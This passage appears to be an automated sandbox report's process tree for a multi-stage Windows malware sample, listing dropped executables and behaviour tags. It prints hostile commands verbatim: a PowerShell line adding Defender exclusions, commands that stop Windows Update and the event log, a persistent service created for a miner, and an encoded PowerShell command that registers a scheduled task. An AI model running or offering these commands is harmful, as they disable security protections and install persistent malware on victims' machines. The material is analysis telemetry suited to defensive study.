C:\Windows\System32\HvUVeJH.exeC:\Windows\System32\HvUVeJH.exe3⤵
-
-
C:\Windows\System32\AmpdYzw.exeC:\Windows\System32\AmpdYzw.exe3⤵
-
-
C:\Windows\System32\BHbMtAu.exeC:\Windows\System32\BHbMtAu.exe3⤵
-
-
C:\Windows\System32\bQjAnME.exeC:\Windows\System32\bQjAnME.exe3⤵
-
-
C:\Windows\System32\JvoZvmR.exeC:\Windows\System32\JvoZvmR.exe3⤵
-
-
C:\Windows\System32\ewlWgfT.exeC:\Windows\System32\ewlWgfT.exe3⤵
-
-
C:\Windows\System32\WkAFZug.exeC:\Windows\System32\WkAFZug.exe3⤵
-
-
C:\Windows\System32\bffLZxU.exeC:\Windows\System32\bffLZxU.exe3⤵
-
-
C:\Windows\System32\HeEbcio.exeC:\Windows\System32\HeEbcio.exe3⤵
-
-
C:\Windows\System32\sfHhDip.exeC:\Windows\System32\sfHhDip.exe3⤵
-
-
C:\Windows\System32\PHBPITR.exeC:\Windows\System32\PHBPITR.exe3⤵
-
-
C:\Windows\System32\dQzeSwM.exeC:\Windows\System32\dQzeSwM.exe3⤵
-
-
C:\Windows\System32\xfUmfeB.exeC:\Windows\System32\xfUmfeB.exe3⤵
-
-
C:\Windows\System32\ibTbvOq.exeC:\Windows\System32\ibTbvOq.exe3⤵
-
-
C:\Windows\System32\QwULmYV.exeC:\Windows\System32\QwULmYV.exe3⤵
-
-
C:\Windows\System32\ftyVEsy.exeC:\Windows\System32\ftyVEsy.exe3⤵
-
-
C:\Windows\System32\cUMqFFf.exeC:\Windows\System32\cUMqFFf.exe3⤵
-
-
C:\Windows\System32\KrDCLdD.exeC:\Windows\System32\KrDCLdD.exe3⤵
-
-
C:\Windows\System32\UtxSnDI.exeC:\Windows\System32\UtxSnDI.exe3⤵
-
-
C:\Windows\System32\TKcPtgH.exeC:\Windows\System32\TKcPtgH.exe3⤵
-
-
C:\Windows\System32\GhCqSlG.exeC:\Windows\System32\GhCqSlG.exe3⤵
-
-
C:\Windows\System32\Ocedbbc.exeC:\Windows\System32\Ocedbbc.exe3⤵
-
-
C:\Windows\System32\lNEZePy.exeC:\Windows\System32\lNEZePy.exe3⤵
-
-
C:\Windows\System32\RUkyNWl.exeC:\Windows\System32\RUkyNWl.exe3⤵
-
-
C:\Windows\System32\UecHSaI.exeC:\Windows\System32\UecHSaI.exe3⤵
-
-
C:\Windows\System32\hFtnlWR.exeC:\Windows\System32\hFtnlWR.exe3⤵
-
-
C:\Windows\System32\NVhqhNA.exeC:\Windows\System32\NVhqhNA.exe3⤵
-
-
C:\Windows\System32\zmKCckE.exeC:\Windows\System32\zmKCckE.exe3⤵
-
-
C:\Windows\System32\stvApJU.exeC:\Windows\System32\stvApJU.exe3⤵
-
-
C:\Windows\System32\jZMvpDC.exeC:\Windows\System32\jZMvpDC.exe3⤵
-
-
C:\Windows\System32\GOhLZYm.exeC:\Windows\System32\GOhLZYm.exe3⤵
-
-
C:\Windows\System32\rluuMqN.exeC:\Windows\System32\rluuMqN.exe3⤵
-
-
C:\Windows\System32\PdwBAMG.exeC:\Windows\System32\PdwBAMG.exe3⤵
-
-
C:\Windows\System32\sjMzrGC.exeC:\Windows\System32\sjMzrGC.exe3⤵
-
-
C:\Windows\System32\pnLueWZ.exeC:\Windows\System32\pnLueWZ.exe3⤵
-
-
C:\Windows\System32\ZNyMGWc.exeC:\Windows\System32\ZNyMGWc.exe3⤵
-
-
C:\Windows\System32\lmjxLFp.exeC:\Windows\System32\lmjxLFp.exe3⤵
-
-
C:\Windows\System32\ykYtrFy.exeC:\Windows\System32\ykYtrFy.exe3⤵
-
-
C:\Windows\System32\ByljYZP.exeC:\Windows\System32\ByljYZP.exe3⤵
-
-
C:\Windows\System32\gPcXqsd.exeC:\Windows\System32\gPcXqsd.exe3⤵
-
-
C:\Windows\System32\BZSgTGx.exeC:\Windows\System32\BZSgTGx.exe3⤵
-
-
C:\Windows\System32\XgqXTdG.exeC:\Windows\System32\XgqXTdG.exe3⤵
-
-
C:\Windows\System32\JHsPbPZ.exeC:\Windows\System32\JHsPbPZ.exe3⤵
-
-
C:\Windows\System32\LmzHtjQ.exeC:\Windows\System32\LmzHtjQ.exe3⤵
-
-
C:\Windows\System32\sWRIhtT.exeC:\Windows\System32\sWRIhtT.exe3⤵
-
-
C:\Windows\System32\ByfGOUo.exeC:\Windows\System32\ByfGOUo.exe3⤵
-
-
C:\Windows\System32\PTWcUep.exeC:\Windows\System32\PTWcUep.exe3⤵
-
-
C:\Windows\System32\LPwMZHi.exeC:\Windows\System32\LPwMZHi.exe3⤵
-
-
C:\Windows\System32\PkMYupq.exeC:\Windows\System32\PkMYupq.exe3⤵
-
-
C:\Windows\System32\UFDEUtp.exeC:\Windows\System32\UFDEUtp.exe3⤵
-
-
C:\Windows\System32\MSCeRiA.exeC:\Windows\System32\MSCeRiA.exe3⤵
-
-
C:\Windows\System32\XqDdRxi.exeC:\Windows\System32\XqDdRxi.exe3⤵
-
-
C:\Windows\System32\JaDmutw.exeC:\Windows\System32\JaDmutw.exe3⤵
-
-
C:\Windows\System32\AGThzcY.exeC:\Windows\System32\AGThzcY.exe3⤵
-
-
C:\Windows\System32\rEIImcD.exeC:\Windows\System32\rEIImcD.exe3⤵
-
-
C:\Windows\System32\XeMpYjo.exeC:\Windows\System32\XeMpYjo.exe3⤵
-
-
C:\Windows\System32\ZhFLvkx.exeC:\Windows\System32\ZhFLvkx.exe3⤵
-
-
C:\Windows\System32\jSWlduI.exeC:\Windows\System32\jSWlduI.exe3⤵
-
-
C:\Windows\System32\OJunuld.exeC:\Windows\System32\OJunuld.exe3⤵
-
-
C:\Windows\System32\IOVQYpO.exeC:\Windows\System32\IOVQYpO.exe3⤵
-
-
C:\Windows\System32\JWKMyen.exeC:\Windows\System32\JWKMyen.exe3⤵
-
-
C:\Windows\System32\pzVUoFM.exeC:\Windows\System32\pzVUoFM.exe3⤵
-
-
C:\Windows\System32\jPFyXUL.exeC:\Windows\System32\jPFyXUL.exe3⤵
-
-
C:\Windows\System32\TBpGYoN.exeC:\Windows\System32\TBpGYoN.exe3⤵
-
-
C:\Windows\System32\zxDdbgs.exeC:\Windows\System32\zxDdbgs.exe3⤵
-
-
C:\Windows\System32\qozQZzI.exeC:\Windows\System32\qozQZzI.exe3⤵
-
-
C:\Windows\System32\OeHRzPb.exeC:\Windows\System32\OeHRzPb.exe3⤵
-
-
C:\Windows\System32\pNxrnki.exeC:\Windows\System32\pNxrnki.exe3⤵
-
-
C:\Windows\System32\keTMlRg.exeC:\Windows\System32\keTMlRg.exe3⤵
-
-
C:\Windows\System32\TIhnWPh.exeC:\Windows\System32\TIhnWPh.exe3⤵
-
-
C:\Windows\System32\gzxtOZY.exeC:\Windows\System32\gzxtOZY.exe3⤵
-
-
C:\Windows\System32\wUkaYcS.exeC:\Windows\System32\wUkaYcS.exe3⤵
-
-
C:\Windows\System32\pknJQwi.exeC:\Windows\System32\pknJQwi.exe3⤵
-
-
C:\Windows\System32\eYsASlH.exeC:\Windows\System32\eYsASlH.exe3⤵
-
-
C:\Windows\System32\AHQOCTp.exeC:\Windows\System32\AHQOCTp.exe3⤵
-
-
C:\Windows\System32\xcDOPfm.exeC:\Windows\System32\xcDOPfm.exe3⤵
-
-
C:\Windows\System32\Zglkcjy.exeC:\Windows\System32\Zglkcjy.exe3⤵
-
-
C:\Windows\System32\sCcDUQd.exeC:\Windows\System32\sCcDUQd.exe3⤵
-
-
C:\Windows\System32\rcmKftg.exeC:\Windows\System32\rcmKftg.exe3⤵
-
-
C:\Windows\System32\kjuRPYE.exeC:\Windows\System32\kjuRPYE.exe3⤵
-
-
C:\Windows\System32\fzJNHkF.exeC:\Windows\System32\fzJNHkF.exe3⤵
-
-
C:\Windows\System32\EROwmtN.exeC:\Windows\System32\EROwmtN.exe3⤵
-
-
C:\Windows\System32\HgOOVJJ.exeC:\Windows\System32\HgOOVJJ.exe3⤵
-
-
C:\Windows\System32\defYkXY.exeC:\Windows\System32\defYkXY.exe3⤵
-
-
C:\Windows\System32\xMLLeHX.exeC:\Windows\System32\xMLLeHX.exe3⤵
-
-
C:\Windows\System32\fOHJpim.exeC:\Windows\System32\fOHJpim.exe3⤵
-
-
C:\Windows\System32\XZmVSvt.exeC:\Windows\System32\XZmVSvt.exe3⤵
-
-
C:\Windows\System32\SvcWGbe.exeC:\Windows\System32\SvcWGbe.exe3⤵
-
-
C:\Windows\System32\jzutKAa.exeC:\Windows\System32\jzutKAa.exe3⤵
-
-
C:\Windows\System32\HJNNVNQ.exeC:\Windows\System32\HJNNVNQ.exe3⤵
-
-
C:\Windows\System32\UOfkQaB.exeC:\Windows\System32\UOfkQaB.exe3⤵
-
-
C:\Windows\System32\svOmJFB.exeC:\Windows\System32\svOmJFB.exe3⤵
-
-
C:\Windows\System32\XgfYiVy.exeC:\Windows\System32\XgfYiVy.exe3⤵
-
-
C:\Windows\System32\JGNwIUX.exeC:\Windows\System32\JGNwIUX.exe3⤵
-
-
C:\Windows\System32\bTYzHPd.exeC:\Windows\System32\bTYzHPd.exe3⤵
-
-
C:\Windows\System32\hCTYFai.exeC:\Windows\System32\hCTYFai.exe3⤵
-
-
C:\Windows\System32\CKSuhCr.exeC:\Windows\System32\CKSuhCr.exe3⤵
-
-
C:\Windows\System32\liNRftx.exeC:\Windows\System32\liNRftx.exe3⤵
-
-
C:\Windows\System32\QPTSOmR.exeC:\Windows\System32\QPTSOmR.exe3⤵
-
-
C:\Windows\System32\kfrnqFJ.exeC:\Windows\System32\kfrnqFJ.exe3⤵
-
-
C:\Windows\System32\MSSjOlO.exeC:\Windows\System32\MSSjOlO.exe3⤵
-
-
C:\Windows\System32\uLTwhwU.exeC:\Windows\System32\uLTwhwU.exe3⤵
-
-
C:\Windows\System32\OIuafpz.exeC:\Windows\System32\OIuafpz.exe3⤵
-
-
C:\Windows\System32\DluxSVy.exeC:\Windows\System32\DluxSVy.exe3⤵
-
-
C:\Windows\System32\jnEmBHo.exeC:\Windows\System32\jnEmBHo.exe3⤵
-
-
C:\Windows\System32\etbICZt.exeC:\Windows\System32\etbICZt.exe3⤵
-
-
C:\Windows\System32\JbWfhPF.exeC:\Windows\System32\JbWfhPF.exe3⤵
-
-
C:\Windows\System32\XqTovHH.exeC:\Windows\System32\XqTovHH.exe3⤵
-
-
C:\Windows\System32\WZFPIBI.exeC:\Windows\System32\WZFPIBI.exe3⤵
-
-
C:\Windows\System32\EmmmRkt.exeC:\Windows\System32\EmmmRkt.exe3⤵
-
-
C:\Windows\System32\YxKXolz.exeC:\Windows\System32\YxKXolz.exe3⤵
-
-
C:\Windows\System32\fcYKIks.exeC:\Windows\System32\fcYKIks.exe3⤵
-
-
C:\Windows\System32\ZJYlccQ.exeC:\Windows\System32\ZJYlccQ.exe3⤵
-
-
C:\Windows\System32\AcUCCon.exeC:\Windows\System32\AcUCCon.exe3⤵
-
-
C:\Windows\System32\QypRxKI.exeC:\Windows\System32\QypRxKI.exe3⤵
-
-
C:\Windows\System32\LQALHDN.exeC:\Windows\System32\LQALHDN.exe3⤵
-
-
C:\Windows\System32\sUlyfEi.exeC:\Windows\System32\sUlyfEi.exe3⤵
-
-
C:\Windows\System32\dLHpMpe.exeC:\Windows\System32\dLHpMpe.exe3⤵
-
-
C:\Windows\System32\SVJbErJ.exeC:\Windows\System32\SVJbErJ.exe3⤵
-
-
C:\Windows\System32\TuklXsZ.exeC:\Windows\System32\TuklXsZ.exe3⤵
-
-
C:\Windows\System32\TtRMFbm.exeC:\Windows\System32\TtRMFbm.exe3⤵
-
-
C:\Windows\System32\gKYMEgB.exeC:\Windows\System32\gKYMEgB.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\funny78.exe"C:\Users\Admin\AppData\Local\Temp\funny78.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\funny78Srv.exeC:\Users\Admin\AppData\Local\Temp\funny78Srv.exe3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2356 -s 3204⤵
- Program crash
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1736 -s 3243⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"2⤵
- Executes dropped EXE
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"2⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"2⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5056 -s 5323⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\k1t.exe"C:\Users\Admin\AppData\Local\Temp\k1t.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"2⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\LB3.exe"C:\Users\Admin\AppData\Local\Temp\LB3.exe"2⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122883⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\a\UctjX9B.exe"C:\Users\Admin\AppData\Local\Temp\a\UctjX9B.exe"3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\jusched.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\jusched.exeC:\Users\Admin\AppData\Local\Temp\jusched.exe5⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\CLIENT~1.EXE"4⤵
-
C:\Users\Admin\AppData\Local\Temp\CLIENT~1.EXEC:\Users\Admin\AppData\Local\Temp\CLIENT~1.EXE5⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\miner.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\miner.exeC:\Users\Admin\AppData\Local\Temp\miner.exe5⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart6⤵
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart7⤵
-
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc6⤵
- Launches sc.exe
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 06⤵
- Power Settings
-
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 06⤵
- Power Settings
-
-
C:\Windows\system32\dialer.exeC:\Windows\system32\dialer.exe6⤵
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "System"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "System" binpath= "C:\ProgramData\System\System32.exe" start= "auto"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog6⤵
- Launches sc.exe
-
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "System"6⤵
- Launches sc.exe
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\miner.exe"6⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\update.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\update.exeC:\Users\Admin\AppData\Local\Temp\update.exe5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\91DNBcl.exe"C:\Users\Admin\AppData\Local\Temp\a\91DNBcl.exe"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\rTVfrvv.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\rTVfrvv.exeC:\Users\Admin\AppData\Local\Temp\a\rTVfrvv.exe4⤵
-
C:\Windows\SYSTEM32\attrib.exeattrib.exe5⤵
- Views/modifies file attributes
-
-
C:\Windows\SYSTEM32\cmd.execmd /c move Exposure.mui Exposure.mui.bat && Exposure.mui.bat5⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\DqXmvaf.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\DqXmvaf.exeC:\Users\Admin\AppData\Local\Temp\a\DqXmvaf.exe4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exeC:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe7⤵
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\xobi.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\xobi.exeC:\Users\Admin\AppData\Local\Temp\a\xobi.exe4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exeC:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe7⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exeC:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe7⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"5⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exeC:\Users\Admin\AppData\Local\Temp\3582-490\msedge.exe7⤵
-
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\020820~1.EXE"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\Software.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\Software.exeC:\Users\Admin\AppData\Local\Temp\a\Software.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\random.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\random.exeC:\Users\Admin\AppData\Local\Temp\a\random.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\122.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\122.exeC:\Users\Admin\AppData\Local\Temp\a\122.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\122.exe"C:\Users\Admin\AppData\Local\Temp\a\122.exe"5⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoProfile -ExecutionPolicy Bypass -Enc UgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBlAGQAcgBjAG4AZABlAHIALgBlAHgAZQAnACAALQBBAGMAdABpAG8AbgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAEEAYwB0AGkAbwBuACAALQBFAHgAZQBjAHUAdABlACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwAUgBvAGEAbQBpAG4AZwBcAGUAZAByAGMAbgBkAGUAcgAuAGUAeABlACcAKQAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAE8AbgBjAGUAIAAtAEEAdAAgACgARwBlAHQALQBEAGEAdABlACkAIAAtAFIAZQBwAGUAdABpAHQAaQBvAG4ASQBuAHQAZQByAHYAYQBsACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ATQBpAG4AdQB0AGUAcwAgADUAKQApACAALQBVAHMAZQByACAAJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQAgAC0AUgB1AG4ATABlAHYAZQBsACAASABpAGcAaABlAHMAdAAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAFMAZQBjAG8AbgBkAHMAIAAwACkAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACkAIAAtAEYAbwByAGMAZQA=6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Roaming\omsecor.exe.tmp"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Roaming\omsecor.exe.tmp"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"6⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\1.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\1.exeC:\Users\Admin\AppData\Local\Temp\a\1.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\INSTAL~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\INSTAL~1.EXEC:\Users\Admin\AppData\Local\Temp\a\INSTAL~1.EXE4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXE"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXEC:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXE4⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveUnattended.exe"C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveUnattended.exe" -regsvc5⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveProcessChecker.exe"C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveProcessChecker.exe" -regsvc -expectadmin -starterpid 24940 -InstallationId 08MDFzg4SV -WorkFolder "C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561" -ApplicationType 4 -Environment "Production" -ForceInstall 06⤵
-
-
C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveProcessChecker.exe"C:/Program Files (x86)/GoTo Resolve Unattended/8066129901890700561/GoToResolveProcessChecker.exe" "-ApplicationType" "4"6⤵
-
-
-
C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveTools64.exe"C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveTools64.exe" -InstallVDD5⤵
-
C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveCrashHandler.exe"C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\GoToResolveCrashHandler.exe" "--database=C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\appdata\CrashReportDB" "--metrics-dir=C:\Program Files (x86)\GoTo Resolve Unattended\8066129901890700561\appdata\CrashReportDB" --url=https://dumpster.console.gotoresolve.com/api/dump --annotation=format=minidump --annotation=hostname=Cujypuwd --annotation=version=1.24.0.142 --initial-client-data=0x350,0x354,0x358,0x348,0x35c,0x7ff6802fbaf8,0x7ff6802fbb10,0x7ff6802fbb286⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /S /C ""C:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXE.cmd" "C:\Users\Admin\AppData\Local\Temp\a\WALLET~1.EXE""5⤵
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe.dat"4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\06bK6nU.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\06bK6nU.exeC:\Users\Admin\AppData\Local\Temp\a\06bK6nU.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\ssls.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\ssls.exeC:\Users\Admin\AppData\Local\Temp\a\ssls.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\dPzCoRY.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\dPzCoRY.exeC:\Users\Admin\AppData\Local\Temp\a\dPzCoRY.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\svchron.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\svchron.exeC:\Users\Admin\AppData\Local\Temp\a\svchron.exe4⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\WOO.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\WOO.exeC:\Users\Admin\AppData\Local\Temp\a\WOO.exe4⤵
-
-
-
